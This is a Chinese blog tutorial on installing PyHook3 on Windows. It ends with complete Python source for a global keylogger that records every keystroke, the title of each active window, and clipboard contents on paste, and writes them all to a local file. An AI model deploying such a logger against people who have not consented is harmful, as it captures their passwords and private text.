zoukankan      html  css  js  c++  java
  • Windows PyHook3安装和使用

    首先安装pythoncom
    pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build 219/pywin32-219.win32-py2.7.exe/download
    下载后复制进python/Lib/site-packages/
    然后进入文件cmd输入python setup.py install
    注意python版本,比如我的同时安装py2,3,就要用python3运行才行
    (下面的安装都是这个步骤)

    然后安装Swig
    下载Swig for Windows:http://www.swig.org/download.html
    找到对应的版本下载
    注意下载后里面有swig.exe文件,没有的话还要按照doc编译swig,没有cygwin也很麻烦,所以找编译好的对应版本下载。
    下载后放到安装软件的地方,添加环境变量path
    cmd输入swig –help,输出help的内容说明能用了
    然后添加环境变量PYTHON_INCLUDE 和 PYTHON_BIN

    在文档和官网中有详细说明是什么
    PYTHON_INCLUDE是python3的include路径
    PYTHON_BIN是python3里的libs下的python3X.lib文件

    举例
    PYTHON_INCLUDE: D:pythoninclude;
    PYTHON_BIN: D:pythonlibspython36.lib;

    记得安装.Net Framework和VC对应版本
    这些东西一般都有,没有会提醒你安装,点到微软的下载页面down下来安装即可

    安装pywin32
    地址:http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32
    找到适合你的系统的版本下载

    安装PyHook3
    pip install PyHook3
    即可下载PyHook3到你的python下的Lib/site-packages
    但是不知道为什么我的PyHook3少文件
    缺少cpyHook.i文件
    于是我又下载了python_py3k,把里面的文件移到了PyHook3里,再次安装成功了.

    python_py3k:https://github.com/Answeror/pyhook_py3k

    安装完成后,进入PyHook3文件夹,运行python example.py
    没有问题,表明成功
    同时example.py里也给出了鼠标监听和键盘监听的使用方法
    稍加修改后,我写了一份可以把监听结果保存在文件中的代码

    # -*- coding: utf-8 -*-    
    from ctypes import *  
    import pythoncom  
    import PyHook3
    import win32clipboard  
    import os,sys
    path=os.getcwd()
    
    user32 = windll.user32  
    kernel32 = windll.kernel32  
    psapi = windll.psapi
    current_window = None
    #退出监听的指令单词,可以修改
    QUIT_WORD="BIGBANG"
    QUIT_CONT=QUIT_WORD
    # Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
    # 定义击键监听事件函数  
    def OnKeyboardEvent(event):
        global current_window,QUIT_WORD,QUIT_CONT,path
        FileStr=""
        if(len(QUIT_WORD)==0):
            FileStr+="
    --------------------结束监听--------------------
    
    
    "
            fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
            fp.write(FileStr)
            fp.close()
            print("
    --------------------结束监听--------------------
    ")
            sys.exit()
            return False
        # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)  
        if event.Window != current_window:  
            current_window = event.Window
            # event.WindowName有时候会不好用
            # 所以调用底层API喊来获取窗口标题
            windowTitle = create_string_buffer(512)
            windll.user32.GetWindowTextA(event.Window,
                                         byref(windowTitle),
                                         512)
            windowName = windowTitle.value.decode('gbk')
            FileStr+="
    "+("-"*60)+"
    窗口名:%s
    窗口ID:%s
    "%(windowName,event.Window)
            print("
    -----------------")
            print("窗口名:%s"%windowName)
            print("窗口ID:%s"%event.Window)
        # 检测击键是否常规按键(非组合键等)  
        if event.Ascii > 32 and event.Ascii <127:
            FileStr+=chr(event.Ascii)+' '
            print(chr(event.Ascii),end=' ')
        else:
            # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来  
            if event.Key == "V":
                print()
                print("-"*60)
                print("检测到粘贴快捷键")
                win32clipboard.OpenClipboard()  
                pasted_value = win32clipboard.GetClipboardData()  
                win32clipboard.CloseClipboard()  
                print("[粘贴内容] %s" % (pasted_value),end=' ')
                print()
                print("-"*60)
                FileStr+='
    '+("-"*60)+'
    '+"检测到粘贴快捷键
    "
                FileStr+="[粘贴内容] "+pasted_value
                FileStr+="
    "
                FileStr+=("-"*60)+'
    '
            elif event.Key=="Z":
                FileStr+="[Ctrl+Z] "
                print("[Ctrl+Z]",end=' ')
            elif event.Key=="A":
                FileStr+="[全选] "
                print("[全选]",end=' ')
            elif event.Key=="C":
                FileStr+="[Ctrl+C] "
                print("[Ctrl+C]",end=' ')
            else:
                if(event.Key=="Space"):
                    FileStr+="[空格] "
                    print("[空格]",end=' ')
                elif(event.Key=="Lshift"):
                    FileStr+="[左Shift] "
                    print("[左Shift]",end=' ')
                elif(event.Key=="Left"):
                    FileStr+="[←] "
                    print("[←]",end=' ')
                elif(event.Key=="Right"):
                    FileStr+="[→] "
                    print("[→]",end=' ')
                elif(event.Key=="Up"):
                    FileStr+="[↑] "
                    print("[↑]",end=' ')
                elif(event.Key=="Down"):
                    FileStr+="[↓] "
                    print("[↓]",end=' ')
                elif(event.Key=="Lmenu"):
                    FileStr+="[左Alt] "
                    print("[左Alt]",end=' ')
                elif(event.Key=="Rmenu"):
                    FileStr+="[右Alt] "
                    print("[右Alt]",end=' ')
                elif(event.Key=="Rshift"):
                    FileStr+="[右Shift] "
                    print("[右Shift]",end=' ')
                elif(event.Key=="Lcontrol"):
                    FileStr+="[左Ctrl] "
                    print("[左Ctrl]",end=' ')
                elif(event.Key=="Rcontrol"):
                    FileStr+="[右Ctrl] "
                    print("[右Ctrl]",end=' ')
                elif(event.Key=="Return"):
                    FileStr+="[回车] "
                    print("[回车]",end=' ')
                elif(event.Key=="Back"):
                    FileStr+="[删除] "
                    print("[删除]",end=' ')
                elif(event.Key=="Delete"):
                    FileStr+="[Del] "
                    print("[Del]",end=' ')
                elif(event.Key=="Insert"):
                    FileStr+="[Ins] "
                    print("[Ins]",end=' ')
                elif(event.Key=="Prior"):
                    FileStr+="[PgUp] "
                    print("[PgUp]",end=' ')
                elif(event.Key=="Next"):
                    FileStr+="[PgDn] "
                    print("[PgDn]",end=' ')
                elif(event.Key=="End"):
                    FileStr+="[End] "
                    print("[End]",end=' ')
                elif(event.Key=="Home"):
                    FileStr+="[Home] "
                    print("[Home]",end=' ')
                elif(event.Key=="None"):
                    FileStr+="[None] "
                    print("[None]",end=' ')
                elif(event.Key=="Apps"):
                    #就是右Alt右边的那个键
                    FileStr+="[菜单] "
                    print("[菜单]",end=' ')
                elif(event.Key=="Capital"):
                    FileStr+="[大写] "
                    print("[大写]",end=' ')
                elif(event.Key=="Tab"):
                    FileStr+="[Tab] "
                    print("[Tab]",end=' ')
                elif(event.Key=="Lwin"):
                    FileStr+="[左Win] "
                    print("[左Win]",end=' ')
                elif(event.Key=="Rwin"):
                    FileStr+="[右Win] "
                    print("[右Win]",end=' ')
                elif(event.Key=="Escape"):
                    FileStr+="[Esc] "
                    print("[Esc]",end=' ')
                elif(event.Key=="Pause"):
                    #就是PrintScreen右边那个键
                    FileStr+="[暂停] "
                    print("[暂停]",end=' ')
                elif(event.Key=="Snapshot"):
                    FileStr+="[截屏] "
                    print("[截屏]",end=' ')
                else:
                    FileStr+="[%s] "%event.Key
                    print("[%s]"%event.Key,end=' ')
        #判断退出监听指令符
        if (event.Key==QUIT_WORD[0]):
            QUIT_WORD=QUIT_WORD[1:]
            if(len(QUIT_WORD)==0):
                FileStr+="
    --------------------结束监听--------------------
    
    
    "
                fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
                fp.write(FileStr)
                fp.close()
                print("
    --------------------结束监听--------------------
    ")
                sys.exit()
                return False
        else:
            QUIT_WORD=QUIT_CONT
        #写入文件    
        fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
        fp.write(FileStr)
        fp.close()
        # 循环监听下一个击键事件
        return True
    
    # 创建并注册hook管理器  
    kl = PyHook3.HookManager()  #
    kl.KeyDown = OnKeyboardEvent
    
    # 注册hook并执行  
    kl.HookKeyboard()
    pythoncom.PumpMessages()
    
  • 相关阅读:
    MS SQLSERVER 第三天
    MS SQLSERVER 第二天
    今天开始我的 MSSQLSERVER 之旅
    从今天开始就正式我的博客之旅
    mac 本地搭建mybatisGenerator代码生成环境
    idea中git远程版本回退
    Junit调试解决本地多线程异步调用
    Lambda表达式总结
    JDK8函数式编程之Stream API
    MySql分页查询慢的解决方案
  • 原文地址:https://www.cnblogs.com/enumx/p/12333321.html
Copyright © 2011-2022 走看看